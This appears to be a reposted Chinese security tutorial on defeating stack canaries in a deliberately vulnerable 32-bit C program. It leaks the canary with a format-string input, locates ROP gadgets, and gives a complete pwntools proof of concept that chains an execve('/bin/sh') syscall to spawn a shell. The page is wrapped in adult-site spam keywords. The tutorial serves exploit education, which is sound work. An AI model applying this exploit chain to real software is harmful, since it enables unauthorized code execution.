成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

構造帶有堆棧保護的指令流

安全 應用安全
我們在學ropgadgets與ret2syscall技術原理時,構造指令流時,是沒有加堆棧保護的,那我們該怎么辦呢?我們可以利用格式化輸出,將canary打印出來,然后再進行指令的組裝。

1. 引言

我們在學ropgadgets與ret2syscall技術原理時,構造指令流時,是沒有加堆棧保護的,比如下面的程序:

文件名:7.c

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <sys/types.h> 
  4. #include <unistd.h> 
  5. #include <sys/syscall.h> 
  6. void exploit() 
  7.     system("/bin/sh"); 
  8. void func() 
  9.     char str[0x20]; 
  10.     read(0,str,0x50); 
  11.     printf(str); 
  12.     read(0,str,0x50); 
  13. int main() 
  14.     func(); 
  15.     return 0; 

我們是這樣編譯的,是沒有加堆棧保護的,之后再利用ropgadgets構造指令流,就可以成功去執行execve(“/bin/sh”,null,null);。

  1. gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c 

如果加上堆棧保護我們該怎么過呢?像下面這樣編譯:

  1. gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c 

顯然我們就不能像原來一樣構造指令流了,因為加入了堆棧保護。那我們該怎么辦呢?我們可以利用格式化輸出,將canary打印出來,然后再進行指令的組裝。

2. 找地址

調試我們的程序,找到canary的地址,地址在:0xffffcfac

繼續調試,直到printf,我們看看現在canary據棧頂的位置:0060,除以4等于15,說明傳給第一個read函數的值為:%15$08x,就可以將canary打印出來了

重新調試,找到read函數把讀進來的數據存放的地址:0xffffcf8c

將%15$08x給read函數,發現可以將canary打印出來

接下來就是利用好第二個read函數來構造rop鏈了。

3.  構造rop鏈

linux上系統調用原理:

  • eax 系統調用號
  • ebx 第一個參數
  • ecx 第二個參數
  • edx 第三個參數
  • esi 第四個參數
  • edi 第五個參數
  • int 0×80

所以eax就存放execve函數的系統調用號11,ebx存放第一個參數/bin/sh,ecx存放第二個參數null,就是0,edx存放第三個參數,也是0

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax" 

地址用:0x080b8546

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx" 

地址為:0x0806f210

  1. ROPgadget --binary ./7.exe --string "/bin/sh" 

地址用:0x080bbd80

  1. ROPgadget --binary ./7.exe --only "int"|grep "0x80" 

地址為:0x0806ce37

4. 寫出poc

  1. from pwn import * 
  2. context(arch="i386",os="linux"
  3. p=process('./7.exe') 
  4. p.sendline("%15$08x") 
  5. canary=p.recv()[:8] 
  6. print(canary) 
  7. canarycanary=canary.decode("hex")[::-1]    
  8. coffset=4*8                          
  9. roffset=3*4                  
  10. add_eax=p32(0x080b8546) 
  11. value_eax=p32(0xb) 
  12. add_edx_ecx_ebx=p32(0x0806f210) 
  13. value_ebx=p32(0x080bbd80) 
  14. value_ecx=p32(0) 
  15. value_edx=p32(0) 
  16. add_int=p32(0x0806ce37) 
  17. payload=coffset*'a'+canary+roffset*'a'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int 
  18. p.sendline(payload) 
  19. p.interactive() 

從from pwn import *到canary=canary.decode(“hex”)[::-1]都是為了找出canary,因為加了堆棧保護,我們不能直接把數據打入到堆棧中,所以要先找出canary,然后構造payload,我們要把canary加進去,過堆棧保護,再在后面加上我們的rop鏈。

執行成功

5. 總結

開啟了堆棧保護,加入了cookie,一旦我們破壞了堆棧,會引起系統保護,出現異常。但是我們還是需要構造我們的指令流,我們可以利用格式化輸出,將canary打印出來,接下來我們可以利用讀寫函數,構造一個指令流,我們先去讀,看一下堆棧的canary在哪里,然后我們canary搞出來,把canary再回填進去,進行組裝,這樣就即可以過堆棧保護,也可以構造我們的指令流了。

 

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2010-09-17 09:08:49

Java多線程

2011-06-13 10:41:17

JAVA

2021-10-26 17:26:46

JVM架構模型

2022-05-07 08:27:42

緩沖區溢出堆棧

2015-09-28 14:12:36

2015-10-10 10:58:45

Flynn指令流數據流

2017-07-12 11:15:25

2009-07-21 12:35:00

Scala從構造器

2022-04-26 16:48:44

ConfluentRBAC數據流

2012-06-21 13:08:37

jQuery

2012-02-24 15:25:45

ibmdw

2010-08-18 09:07:26

數據泄密防護DLP公司數據

2009-08-08 21:10:01

2017-02-23 09:00:42

2011-05-30 10:26:57

2021-02-22 09:23:55

LRU時間HashMap

2020-04-21 16:13:29

LinuxCut命令Unix系統

2021-08-05 13:55:05

網絡保護網絡安全數據保護

2016-09-02 09:14:26

2025-02-06 13:23:09

C++函數參數
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 在线免费观看毛片 | 成人免费共享视频 | 日日操夜夜操天天操 | 精品国产欧美一区二区三区成人 | 日韩在线小视频 | 日韩欧美不卡 | www成人啪啪18 | 日韩欧美一区二区三区四区 | 日韩色视频 | 国产精品久久久久久久久久久新郎 | 国产精品欧美日韩 | 国产日韩精品一区二区 | 亚洲免费一区二区 | 性福视频在线观看 | 青青草视频网 | 精品国产91乱码一区二区三区 | 99tv成人影院| 久久国产精品免费一区二区三区 | 国产精品美女久久久久久久久久久 | 毛片一级网站 | 2019天天操| 国产毛片久久久 | 中文字幕日韩欧美一区二区三区 | 精品国产欧美 | 伊人影院在线观看 | 91视频一区 | 亚洲精品在线看 | 国产精品久久久久久久久久免费看 | 亚洲精品电影网在线观看 | 精品视频免费 | 一级片在线视频 | 国产美女一区二区 | 欧美成人精品在线观看 | 一区二区三区在线播放 | 国产精品免费一区二区三区 | 希岛爱理在线 | 精品欧美一区二区三区精品久久 | 国产精品区二区三区日本 | 天天看夜夜| 在线中文字幕视频 | 欧美日韩网站 |